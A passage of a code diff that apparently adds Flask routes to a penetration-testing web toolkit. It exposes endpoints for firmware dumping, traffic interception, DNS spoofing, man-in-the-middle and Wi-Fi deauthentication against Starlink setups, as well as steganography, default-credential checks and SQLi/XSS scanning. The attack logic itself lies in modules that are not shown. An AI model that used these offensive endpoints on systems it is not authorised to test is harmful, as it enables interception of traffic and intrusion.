return jsonify({'ok': False, 'error': 'No firmware file provided'})
|
||||
return jsonify(_get_mgr().analyze_firmware(fw_path))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/firmware/debug', methods=['POST'])
|
||||
@login_required
|
||||
def firmware_debug():
|
||||
return jsonify(_get_mgr().find_debug_interfaces())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/firmware/dump', methods=['POST'])
|
||||
@login_required
|
||||
def firmware_dump():
|
||||
data = request.get_json(silent=True) or {}
|
||||
output_path = data.get('output_path')
|
||||
return jsonify(_get_mgr().dump_firmware(output_path=output_path))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/intercept', methods=['POST'])
|
||||
@login_required
|
||||
def network_intercept():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target_ip = data.get('target_ip')
|
||||
interface = data.get('interface')
|
||||
return jsonify(_get_mgr().intercept_traffic(target_ip=target_ip, interface=interface))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/intercept/stop', methods=['POST'])
|
||||
@login_required
|
||||
def network_intercept_stop():
|
||||
return jsonify(_get_mgr().stop_intercept())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/dns-spoof', methods=['POST'])
|
||||
@login_required
|
||||
def network_dns_spoof():
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '')
|
||||
ip = data.get('ip', '')
|
||||
interface = data.get('interface')
|
||||
if not domain or not ip:
|
||||
return jsonify({'ok': False, 'error': 'domain and ip are required'})
|
||||
return jsonify(_get_mgr().dns_spoof(domain, ip, interface=interface))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/dns-spoof/stop', methods=['POST'])
|
||||
@login_required
|
||||
def network_dns_spoof_stop():
|
||||
return jsonify(_get_mgr().stop_dns_spoof())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/mitm', methods=['POST'])
|
||||
@login_required
|
||||
def network_mitm():
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface')
|
||||
return jsonify(_get_mgr().mitm_clients(interface=interface))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network/deauth', methods=['POST'])
|
||||
@login_required
|
||||
def network_deauth():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target_mac = data.get('target_mac')
|
||||
interface = data.get('interface')
|
||||
return jsonify(_get_mgr().deauth_clients(target_mac=target_mac, interface=interface))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/rf/downlink', methods=['POST'])
|
||||
@login_required
|
||||
def rf_downlink():
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 30))
|
||||
device = data.get('device', 'hackrf')
|
||||
return jsonify(_get_mgr().analyze_downlink(duration=duration, device=device))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/rf/uplink', methods=['POST'])
|
||||
@login_required
|
||||
def rf_uplink():
|
||||
data = request.get_json(silent=True) or {}
|
||||
duration = int(data.get('duration', 30))
|
||||
return jsonify(_get_mgr().analyze_uplink(duration=duration))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/rf/jamming', methods=['POST'])
|
||||
@login_required
|
||||
def rf_jamming():
|
||||
return jsonify(_get_mgr().detect_jamming())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/cves')
|
||||
@login_required
|
||||
def cves():
|
||||
return jsonify(_get_mgr().check_known_cves())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/exploits')
|
||||
@login_required
|
||||
def exploits():
|
||||
return jsonify(_get_mgr().get_exploit_database())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/export', methods=['POST'])
|
||||
@login_required
|
||||
def export():
|
||||
data = request.get_json(silent=True) or {}
|
||||
path = data.get('path')
|
||||
return jsonify(_get_mgr().export_results(path=path))
|
||||
96
web/routes/steganography.py
Normal file
96
web/routes/steganography.py
Normal file
@@ -0,0 +1,96 @@
|
||||
"""Steganography routes."""
|
||||
import os
|
||||
import base64
|
||||
from flask import Blueprint, request, jsonify, render_template, current_app
|
||||
from web.auth import login_required
|
||||
|
||||
steganography_bp = Blueprint('steganography', __name__, url_prefix='/stego')
|
||||
|
||||
def _get_mgr():
|
||||
from modules.steganography import get_stego_manager
|
||||
return get_stego_manager()
|
||||
|
||||
@steganography_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('steganography.html')
|
||||
|
||||
@steganography_bp.route('/capabilities')
|
||||
@login_required
|
||||
def capabilities():
|
||||
return jsonify(_get_mgr().get_capabilities())
|
||||
|
||||
@steganography_bp.route('/capacity', methods=['POST'])
|
||||
@login_required
|
||||
def capacity():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().capacity(data.get('file', '')))
|
||||
|
||||
@steganography_bp.route('/hide', methods=['POST'])
|
||||
@login_required
|
||||
def hide():
|
||||
mgr = _get_mgr()
|
||||
# Support file upload or path-based
|
||||
if request.content_type and 'multipart' in request.content_type:
|
||||
carrier = request.files.get('carrier')
|
||||
if not carrier:
|
||||
return jsonify({'ok': False, 'error': 'No carrier file'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
carrier_path = os.path.join(upload_dir, carrier.filename)
|
||||
carrier.save(carrier_path)
|
||||
message = request.form.get('message', '')
|
||||
password = request.form.get('password') or None
|
||||
output_path = os.path.join(upload_dir, f'stego_{carrier.filename}')
|
||||
result = mgr.hide(carrier_path, message.encode(), output_path, password)
|
||||
else:
|
||||
data = request.get_json(silent=True) or {}
|
||||
carrier_path = data.get('carrier', '')
|
||||
message = data.get('message', '')
|
||||
password = data.get('password') or None
|
||||
output = data.get('output')
|
||||
result = mgr.hide(carrier_path, message.encode(), output, password)
|
||||
return jsonify(result)
|
||||
|
||||
@steganography_bp.route('/extract', methods=['POST'])
|
||||
@login_required
|
||||
def extract():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_mgr().extract(data.get('file', ''), data.get('password'))
|
||||
if result.get('ok') and 'data' in result:
|
||||
try:
|
||||
result['text'] = result['data'].decode('utf-8')
|
||||
except (UnicodeDecodeError, AttributeError):
|
||||
result['base64'] = base64.b64encode(result['data']).decode()
|
||||
del result['data'] # Don't send raw bytes in JSON
|
||||
return jsonify(result)
|
||||
|
||||
@steganography_bp.route('/detect', methods=['POST'])
|
||||
@login_required
|
||||
def detect():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_mgr().detect(data.get('file', '')))
|
||||
|
||||
@steganography_bp.route('/whitespace/hide', methods=['POST'])
|
||||
@login_required
|
||||
def whitespace_hide():
|
||||
data = request.get_json(silent=True) or {}
|
||||
from modules.steganography import DocumentStego
|
||||
result = DocumentStego.hide_whitespace(
|
||||
data.get('text', ''), data.get('message', '').encode(),
|
||||
data.get('password')
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
@steganography_bp.route('/whitespace/extract', methods=['POST'])
|
||||
@login_required
|
||||
def whitespace_extract():
|
||||
data = request.get_json(silent=True) or {}
|
||||
from modules.steganography import DocumentStego
|
||||
result = DocumentStego.extract_whitespace(data.get('text', ''), data.get('password'))
|
||||
if result.get('ok') and 'data' in result:
|
||||
try:
|
||||
result['text'] = result['data'].decode('utf-8')
|
||||
except (UnicodeDecodeError, AttributeError):
|
||||
result['base64'] = base64.b64encode(result['data']).decode()
|
||||
del result['data']
|
||||
return jsonify(result)
|
||||
167
web/routes/targets.py
Normal file
167
web/routes/targets.py
Normal file
@@ -0,0 +1,167 @@
|
||||
"""Targets — scope and target management for pentest engagements."""
|
||||
|
||||
import json
|
||||
import uuid
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
targets_bp = Blueprint('targets', __name__, url_prefix='/targets')
|
||||
|
||||
# ── Storage helpers ────────────────────────────────────────────────────────────
|
||||
|
||||
def _targets_file() -> Path:
|
||||
from core.paths import get_data_dir
|
||||
d = get_data_dir()
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d / 'targets.json'
|
||||
|
||||
|
||||
def _load() -> list:
|
||||
f = _targets_file()
|
||||
if not f.exists():
|
||||
return []
|
||||
try:
|
||||
return json.loads(f.read_text(encoding='utf-8'))
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
def _save(targets: list) -> None:
|
||||
_targets_file().write_text(json.dumps(targets, indent=2), encoding='utf-8')
|
||||
|
||||
|
||||
def _now() -> str:
|
||||
return datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
|
||||
|
||||
def _new_target(data: dict) -> dict:
|
||||
host = data.get('host', '').strip()
|
||||
now = _now()
|
||||
return {
|
||||
'id': str(uuid.uuid4()),
|
||||
'name': data.get('name', '').strip() or host,
|
||||
'host': host,
|
||||
'type': data.get('type', 'ip'),
|
||||
'status': data.get('status', 'active'),
|
||||
'os': data.get('os', 'Unknown'),
|
||||
'tags': [t.strip() for t in data.get('tags', '').split(',') if t.strip()],
|
||||
'ports': data.get('ports', '').strip(),
|
||||
'notes': data.get('notes', '').strip(),
|
||||
'created_at': now,
|
||||
'updated_at': now,
|
||||
}
|
||||
|
||||
|
||||
# ── Routes ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
@targets_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('targets.html', targets=_load())
|
||||
|
||||
|
||||
@targets_bp.route('/add', methods=['POST'])
|
||||
@login_required
|
||||
def add():
|
||||
data = request.get_json(silent=True) or {}
|
||||
if not data.get('host', '').strip():
|
||||
return jsonify({'error': 'Host/IP is required'})
|
||||
targets = _load()
|
||||
t = _new_target(data)
|
||||
targets.append(t)
|
||||
_save(targets)
|
||||
return jsonify({'ok': True, 'target': t})
|
||||
|
||||
|
||||
@targets_bp.route('/update/<tid>', methods=['POST'])
|
||||
@login_required
|
||||
def update(tid):
|
||||
data = request.get_json(silent=True) or {}
|
||||
targets = _load()
|
||||
for t in targets:
|
||||
if t['id'] == tid:
|
||||
for field in ('name', 'host', 'type', 'status', 'os', 'ports', 'notes'):
|
||||
if field in data:
|
||||
t[field] = str(data[field]).strip()
|
||||
if 'tags' in data:
|
||||
t['tags'] = [x.strip() for x in str(data['tags']).split(',') if x.strip()]
|
||||
t['updated_at'] = _now()
|
||||
_save(targets)
|
||||
return jsonify({'ok': True, 'target': t})
|
||||
return jsonify({'error': 'Target not found'})
|
||||
|
||||
|
||||
@targets_bp.route('/delete/<tid>', methods=['POST'])
|
||||
@login_required
|
||||
def delete(tid):
|
||||
targets = _load()
|
||||
before = len(targets)
|
||||
targets = [t for t in targets if t['id'] != tid]
|
||||
if len(targets) < before:
|
||||
_save(targets)
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'error': 'Not found'})
|
||||
|
||||
|
||||
@targets_bp.route('/status/<tid>', methods=['POST'])
|
||||
@login_required
|
||||
def set_status(tid):
|
||||
data = request.get_json(silent=True) or {}
|
||||
status = data.get('status', '')
|
||||
valid = {'active', 'pending', 'completed', 'out-of-scope'}
|
||||
if status not in valid:
|
||||
return jsonify({'error': f'Invalid status — use: {", ".join(sorted(valid))}'})
|
||||
targets = _load()
|
||||
for t in targets:
|
||||
if t['id'] == tid:
|
||||
t['status'] = status
|
||||
t['updated_at'] = _now()
|
||||
_save(targets)
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'error': 'Not found'})
|
||||
|
||||
|
||||
@targets_bp.route('/export')
|
||||
@login_required
|
||||
def export():
|
||||
targets = _load()
|
||||
return Response(
|
||||
json.dumps(targets, indent=2),
|
||||
mimetype='application/json',
|
||||
headers={'Content-Disposition': 'attachment; filename="autarch_targets.json"'},
|
||||
)
|
||||
|
||||
|
||||
@targets_bp.route('/import', methods=['POST'])
|
||||
@login_required
|
||||
def import_targets():
|
||||
data = request.get_json(silent=True) or {}
|
||||
incoming = data.get('targets', [])
|
||||
if not isinstance(incoming, list):
|
||||
return jsonify({'error': 'Expected JSON array'})
|
||||
existing = _load()
|
||||
existing_ids = {t['id'] for t in existing}
|
||||
now = _now()
|
||||
added = 0
|
||||
for item in incoming:
|
||||
if not isinstance(item, dict) or not item.get('host', '').strip():
|
||||
continue
|
||||
item.setdefault('id', str(uuid.uuid4()))
|
||||
if item['id'] in existing_ids:
|
||||
continue
|
||||
item.setdefault('name', item['host'])
|
||||
item.setdefault('type', 'ip')
|
||||
item.setdefault('status', 'active')
|
||||
item.setdefault('os', 'Unknown')
|
||||
item.setdefault('tags', [])
|
||||
item.setdefault('ports', '')
|
||||
item.setdefault('notes', '')
|
||||
item.setdefault('created_at', now)
|
||||
item.setdefault('updated_at', now)
|
||||
existing.append(item)
|
||||
added += 1
|
||||
_save(existing)
|
||||
return jsonify({'ok': True, 'added': added, 'total': len(existing)})
|
||||
125
web/routes/threat_intel.py
Normal file
125
web/routes/threat_intel.py
Normal file
@@ -0,0 +1,125 @@
|
||||
"""Threat Intelligence routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template, Response
|
||||
from web.auth import login_required
|
||||
|
||||
threat_intel_bp = Blueprint('threat_intel', __name__, url_prefix='/threat-intel')
|
||||
|
||||
def _get_engine():
|
||||
from modules.threat_intel import get_threat_intel
|
||||
return get_threat_intel()
|
||||
|
||||
@threat_intel_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('threat_intel.html')
|
||||
|
||||
@threat_intel_bp.route('/iocs', methods=['GET', 'POST', 'DELETE'])
|
||||
@login_required
|
||||
def iocs():
|
||||
engine = _get_engine()
|
||||
if request.method == 'POST':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.add_ioc(
|
||||
value=data.get('value', ''),
|
||||
ioc_type=data.get('ioc_type'),
|
||||
source=data.get('source', 'manual'),
|
||||
tags=data.get('tags', []),
|
||||
severity=data.get('severity', 'unknown'),
|
||||
description=data.get('description', ''),
|
||||
reference=data.get('reference', '')
|
||||
))
|
||||
elif request.method == 'DELETE':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.remove_ioc(data.get('id', '')))
|
||||
else:
|
||||
return jsonify(engine.get_iocs(
|
||||
ioc_type=request.args.get('type'),
|
||||
source=request.args.get('source'),
|
||||
severity=request.args.get('severity'),
|
||||
search=request.args.get('search')
|
||||
))
|
||||
|
||||
@threat_intel_bp.route('/iocs/import', methods=['POST'])
|
||||
@login_required
|
||||
def import_iocs():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().bulk_import(
|
||||
data.get('text', ''), source=data.get('source', 'import'),
|
||||
ioc_type=data.get('ioc_type')
|
||||
))
|
||||
|
||||
@threat_intel_bp.route('/iocs/export')
|
||||
@login_required
|
||||
def export_iocs():
|
||||
fmt = request.args.get('format', 'json')
|
||||
ioc_type = request.args.get('type')
|
||||
content = _get_engine().export_iocs(fmt=fmt, ioc_type=ioc_type)
|
||||
ct = {'csv': 'text/csv', 'stix': 'application/json', 'json': 'application/json'}.get(fmt, 'text/plain')
|
||||
return Response(content, mimetype=ct, headers={'Content-Disposition': f'attachment; filename=iocs.{fmt}'})
|
||||
|
||||
@threat_intel_bp.route('/iocs/detect')
|
||||
@login_required
|
||||
def detect_type():
|
||||
value = request.args.get('value', '')
|
||||
return jsonify({'type': _get_engine().detect_ioc_type(value)})
|
||||
|
||||
@threat_intel_bp.route('/stats')
|
||||
@login_required
|
||||
def stats():
|
||||
return jsonify(_get_engine().get_stats())
|
||||
|
||||
@threat_intel_bp.route('/feeds', methods=['GET', 'POST', 'DELETE'])
|
||||
@login_required
|
||||
def feeds():
|
||||
engine = _get_engine()
|
||||
if request.method == 'POST':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.add_feed(
|
||||
name=data.get('name', ''), feed_type=data.get('feed_type', ''),
|
||||
url=data.get('url', ''), api_key=data.get('api_key', ''),
|
||||
interval_hours=data.get('interval_hours', 24)
|
||||
))
|
||||
elif request.method == 'DELETE':
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(engine.remove_feed(data.get('id', '')))
|
||||
return jsonify(engine.get_feeds())
|
||||
|
||||
@threat_intel_bp.route('/feeds/<feed_id>/fetch', methods=['POST'])
|
||||
@login_required
|
||||
def fetch_feed(feed_id):
|
||||
return jsonify(_get_engine().fetch_feed(feed_id))
|
||||
|
||||
@threat_intel_bp.route('/lookup/virustotal', methods=['POST'])
|
||||
@login_required
|
||||
def lookup_vt():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().lookup_virustotal(data.get('value', ''), data.get('api_key', '')))
|
||||
|
||||
@threat_intel_bp.route('/lookup/abuseipdb', methods=['POST'])
|
||||
@login_required
|
||||
def lookup_abuse():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().lookup_abuseipdb(data.get('ip', ''), data.get('api_key', '')))
|
||||
|
||||
@threat_intel_bp.route('/correlate/network', methods=['POST'])
|
||||
@login_required
|
||||
def correlate_network():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().correlate_network(data.get('connections', [])))
|
||||
|
||||
@threat_intel_bp.route('/blocklist')
|
||||
@login_required
|
||||
def blocklist():
|
||||
return Response(
|
||||
_get_engine().generate_blocklist(
|
||||
fmt=request.args.get('format', 'plain'),
|
||||
ioc_type=request.args.get('type', 'ip'),
|
||||
min_severity=request.args.get('min_severity', 'low')
|
||||
),
|
||||
mimetype='text/plain'
|
||||
)
|
||||
|
||||
@threat_intel_bp.route('/alerts')
|
||||
@login_required
|
||||
def alerts():
|
||||
return jsonify(_get_engine().get_alerts(int(request.args.get('limit', 100))))
|
||||
130
web/routes/upnp.py
Normal file
130
web/routes/upnp.py
Normal file
@@ -0,0 +1,130 @@
|
||||
"""UPnP management route"""
|
||||
|
||||
import json
|
||||
from flask import Blueprint, render_template, request, redirect, url_for, flash, current_app
|
||||
from web.auth import login_required
|
||||
|
||||
upnp_bp = Blueprint('upnp', __name__, url_prefix='/upnp')
|
||||
|
||||
|
||||
@upnp_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.upnp import get_upnp_manager
|
||||
config = current_app.autarch_config
|
||||
upnp = get_upnp_manager(config)
|
||||
|
||||
available = upnp.is_available()
|
||||
mappings = upnp.load_mappings_from_config()
|
||||
cron = upnp.get_cron_status()
|
||||
|
||||
current_mappings = ''
|
||||
external_ip = ''
|
||||
if available:
|
||||
success, output = upnp.list_mappings()
|
||||
current_mappings = output if success else f'Error: {output}'
|
||||
success, ip = upnp.get_external_ip()
|
||||
external_ip = ip if success else 'N/A'
|
||||
|
||||
return render_template('upnp.html',
|
||||
available=available,
|
||||
mappings=mappings,
|
||||
cron=cron,
|
||||
current_mappings=current_mappings,
|
||||
external_ip=external_ip,
|
||||
internal_ip=upnp._get_internal_ip(),
|
||||
)
|
||||
|
||||
|
||||
@upnp_bp.route('/refresh', methods=['POST'])
|
||||
@login_required
|
||||
def refresh():
|
||||
from core.upnp import get_upnp_manager
|
||||
config = current_app.autarch_config
|
||||
upnp = get_upnp_manager(config)
|
||||
results = upnp.refresh_all()
|
||||
|
||||
ok = sum(1 for r in results if r['success'])
|
||||
fail = sum(1 for r in results if not r['success'])
|
||||
|
||||
if fail == 0:
|
||||
flash(f'Refreshed {ok} mapping(s) successfully.', 'success')
|
||||
else:
|
||||
flash(f'{ok} OK, {fail} failed.', 'warning')
|
||||
|
||||
return redirect(url_for('upnp.index'))
|
||||
|
||||
|
||||
@upnp_bp.route('/add', methods=['POST'])
|
||||
@login_required
|
||||
def add():
|
||||
from core.upnp import get_upnp_manager
|
||||
config = current_app.autarch_config
|
||||
upnp = get_upnp_manager(config)
|
||||
|
||||
port = request.form.get('port', '')
|
||||
proto = request.form.get('protocol', 'TCP').upper()
|
||||
|
||||
try:
|
||||
port = int(port)
|
||||
except ValueError:
|
||||
flash('Invalid port number.', 'error')
|
||||
return redirect(url_for('upnp.index'))
|
||||
|
||||
internal_ip = upnp._get_internal_ip()
|
||||
success, msg = upnp.add_mapping(internal_ip, port, port, proto)
|
||||
|
||||
if success:
|
||||
# Save to config
|
||||
mappings = upnp.load_mappings_from_config()
|
||||
if not any(m['port'] == port and m['protocol'] == proto for m in mappings):
|
||||
mappings.append({'port': port, 'protocol': proto})
|
||||
upnp.save_mappings_to_config(mappings)
|
||||
flash(f'Added {port}/{proto}', 'success')
|
||||
else:
|
||||
flash(f'Failed: {msg}', 'error')
|
||||
|
||||
return redirect(url_for('upnp.index'))
|
||||
|
||||
|
||||
@upnp_bp.route('/remove', methods=['POST'])
|
||||
@login_required
|
||||
def remove():
|
||||
from core.upnp import get_upnp_manager
|
||||
config = current_app.autarch_config
|
||||
upnp = get_upnp_manager(config)
|
||||
|
||||
port = int(request.form.get('port', 0))
|
||||
proto = request.form.get('protocol', 'TCP')
|
||||
|
||||
success, msg = upnp.remove_mapping(port, proto)
|
||||
if success:
|
||||
mappings = upnp.load_mappings_from_config()
|
||||
mappings = [m for m in mappings if not (m['port'] == port and m['protocol'] == proto)]
|
||||
upnp.save_mappings_to_config(mappings)
|
||||
flash(f'Removed {port}/{proto}', 'success')
|
||||
else:
|
||||
flash(f'Failed: {msg}', 'error')
|
||||
|
||||
return redirect(url_for('upnp.index'))
|
||||
|
||||
|
||||
@upnp_bp.route('/cron', methods=['POST'])
|
||||
@login_required
|
||||
def cron():
|
||||
from core.upnp import get_upnp_manager
|
||||
config = current_app.autarch_config
|
||||
upnp = get_upnp_manager(config)
|
||||
|
||||
action = request.form.get('action', '')
|
||||
if action == 'install':
|
||||
hours = int(request.form.get('hours', 12))
|
||||
success, msg = upnp.install_cron(hours)
|
||||
elif action == 'uninstall':
|
||||
success, msg = upnp.uninstall_cron()
|
||||
else:
|
||||
flash('Invalid action.', 'error')
|
||||
return redirect(url_for('upnp.index'))
|
||||
|
||||
flash(msg, 'success' if success else 'error')
|
||||
return redirect(url_for('upnp.index'))
|
||||
132
web/routes/vuln_scanner.py
Normal file
132
web/routes/vuln_scanner.py
Normal file
@@ -0,0 +1,132 @@
|
||||
"""Vulnerability Scanner routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template, Response
|
||||
from web.auth import login_required
|
||||
|
||||
vuln_scanner_bp = Blueprint('vuln_scanner', __name__, url_prefix='/vuln-scanner')
|
||||
|
||||
|
||||
def _get_scanner():
|
||||
from modules.vuln_scanner import get_vuln_scanner
|
||||
return get_vuln_scanner()
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('vuln_scanner.html')
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/scan', methods=['POST'])
|
||||
@login_required
|
||||
def start_scan():
|
||||
"""Start a vulnerability scan."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target required'}), 400
|
||||
|
||||
profile = data.get('profile', 'standard')
|
||||
ports = data.get('ports', '').strip() or None
|
||||
templates = data.get('templates') or None
|
||||
|
||||
scanner = _get_scanner()
|
||||
job_id = scanner.scan(target, profile=profile, ports=ports, templates=templates)
|
||||
return jsonify({'ok': True, 'job_id': job_id})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/scan/<job_id>')
|
||||
@login_required
|
||||
def get_scan(job_id):
|
||||
"""Get scan status and results."""
|
||||
scan = _get_scanner().get_scan(job_id)
|
||||
if not scan:
|
||||
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
|
||||
return jsonify({'ok': True, **scan})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/scans')
|
||||
@login_required
|
||||
def list_scans():
|
||||
"""List all scans."""
|
||||
scans = _get_scanner().list_scans()
|
||||
return jsonify({'ok': True, 'scans': scans})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/scan/<job_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_scan(job_id):
|
||||
"""Delete a scan."""
|
||||
deleted = _get_scanner().delete_scan(job_id)
|
||||
if not deleted:
|
||||
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
|
||||
return jsonify({'ok': True})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/scan/<job_id>/export')
|
||||
@login_required
|
||||
def export_scan(job_id):
|
||||
"""Export scan results."""
|
||||
fmt = request.args.get('format', 'json')
|
||||
result = _get_scanner().export_scan(job_id, fmt=fmt)
|
||||
if not result:
|
||||
return jsonify({'ok': False, 'error': 'Scan not found'}), 404
|
||||
|
||||
return Response(
|
||||
result['content'],
|
||||
mimetype=result['mime'],
|
||||
headers={'Content-Disposition': f'attachment; filename="{result["filename"]}"'}
|
||||
)
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/headers', methods=['POST'])
|
||||
@login_required
|
||||
def check_headers():
|
||||
"""Check security headers for a URL."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'}), 400
|
||||
result = _get_scanner().check_headers(url)
|
||||
return jsonify({'ok': True, **result})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/ssl', methods=['POST'])
|
||||
@login_required
|
||||
def check_ssl():
|
||||
"""Check SSL/TLS configuration."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
if not host:
|
||||
return jsonify({'ok': False, 'error': 'Host required'}), 400
|
||||
port = int(data.get('port', 443))
|
||||
result = _get_scanner().check_ssl(host, port)
|
||||
return jsonify({'ok': True, **result})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/creds', methods=['POST'])
|
||||
@login_required
|
||||
def check_creds():
|
||||
"""Check default credentials for a target."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target required'}), 400
|
||||
|
||||
services = data.get('services', [])
|
||||
if not services:
|
||||
# Auto-detect services with a quick port scan
|
||||
scanner = _get_scanner()
|
||||
ports = data.get('ports', '21,22,23,80,443,1433,3306,5432,6379,8080,27017')
|
||||
services = scanner._socket_scan(target, ports)
|
||||
|
||||
found = _get_scanner().check_default_creds(target, services)
|
||||
return jsonify({'ok': True, 'found': found, 'services_checked': len(services)})
|
||||
|
||||
|
||||
@vuln_scanner_bp.route('/templates')
|
||||
@login_required
|
||||
def get_templates():
|
||||
"""List available Nuclei templates."""
|
||||
result = _get_scanner().get_templates()
|
||||
return jsonify({'ok': True, **result})
|
||||
79
web/routes/webapp_scanner.py
Normal file
79
web/routes/webapp_scanner.py
Normal file
@@ -0,0 +1,79 @@
|
||||
"""Web Application Scanner — web routes."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
webapp_scanner_bp = Blueprint('webapp_scanner', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.webapp_scanner import get_webapp_scanner
|
||||
return get_webapp_scanner()
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('webapp_scanner.html')
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/quick', methods=['POST'])
|
||||
@login_required
|
||||
def quick_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
return jsonify({'ok': True, **_svc().quick_scan(url)})
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/dirbust', methods=['POST'])
|
||||
@login_required
|
||||
def dir_bruteforce():
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
extensions = data.get('extensions', [])
|
||||
return jsonify(_svc().dir_bruteforce(url, extensions=extensions or None,
|
||||
threads=data.get('threads', 10)))
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/dirbust/<job_id>', methods=['GET'])
|
||||
@login_required
|
||||
def dirbust_status(job_id):
|
||||
return jsonify(_svc().get_job_status(job_id))
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/subdomain', methods=['POST'])
|
||||
@login_required
|
||||
def subdomain_enum():
|
||||
data = request.get_json(silent=True) or {}
|
||||
domain = data.get('domain', '').strip()
|
||||
if not domain:
|
||||
return jsonify({'ok': False, 'error': 'Domain required'})
|
||||
return jsonify(_svc().subdomain_enum(domain, use_ct=data.get('use_ct', True)))
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/vuln', methods=['POST'])
|
||||
@login_required
|
||||
def vuln_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
return jsonify(_svc().vuln_scan(url,
|
||||
scan_sqli=data.get('sqli', True),
|
||||
scan_xss=data.get('xss', True)))
|
||||
|
||||
|
||||
@webapp_scanner_bp.route('/web-scanner/crawl', methods=['POST'])
|
||||
@login_required
|
||||
def crawl():
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
return jsonify(_svc().crawl(url,
|
||||
max_pages=data.get('max_pages', 50),
|
||||
depth=data.get('depth', 3)))
|
||||
137
web/routes/wifi_audit.py
Normal file
137
web/routes/wifi_audit.py
Normal file
@@ -0,0 +1,137 @@
|
||||
"""WiFi Auditing routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
